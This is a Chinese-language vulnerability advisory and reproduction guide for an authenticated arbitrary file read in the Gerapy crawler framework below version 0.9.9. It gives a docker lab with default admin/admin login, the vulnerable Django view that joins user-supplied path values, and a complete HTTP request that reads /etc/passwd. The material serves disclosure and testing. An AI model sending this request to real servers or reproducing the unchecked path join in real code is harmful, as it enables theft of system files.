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Gerapy project_file_read 后台任意文件读取漏洞
漏洞描述
Gerapy 是一款基于 Scrapy、Scrapyd、Django 和 Vue.js 的分布式爬虫管理框架。
Gerapy < 0.9.9 存在任意文件读取漏洞,函数 project_file_read 的 path 和 label 参数可控,经过身份验证的攻击者可以读取任意文件。
参考链接:
漏洞影响
Gerapy < 0.9.9
网络测绘
title="Gerapy"
环境搭建
docker-compose.yml
version: "3.9"
services:
gerapy:
image: germey/gerapy:0.9.6
build: .
container_name: gerapy
restart: always
volumes:
- gerapy:/home/gerapy
ports:
- 8000:8000
volumes:
gerapy:
执行如下命令启动一个 Gerapy 0.9.6 版本的服务器:
docker-compose up -d
启动完成后,访问 http://your-ip:8000 即可查看登录页面,通过默认口令 admin/admin 登录后台。
漏洞复现
漏洞点 位于 gerapy/server/core/views.py:
@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_file_read(request):
"""
get content of project file
:param request: request object
:return: file content
"""
if request.method == 'POST':
data = json.loads(request.body)
path = join(data['path'], data['label'])
# binary file
with open(path, 'rb') as f:
return HttpResponse(f.read().decode('utf-8'))
构造请求包:
POST /api/project/file/read HTTP/1.1
Host: your-ip:8000
Accept: */*
Referer: http://your-ip:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5
{"path":"/etc/","label":"passwd"}
漏洞修复
升级至安全版本。


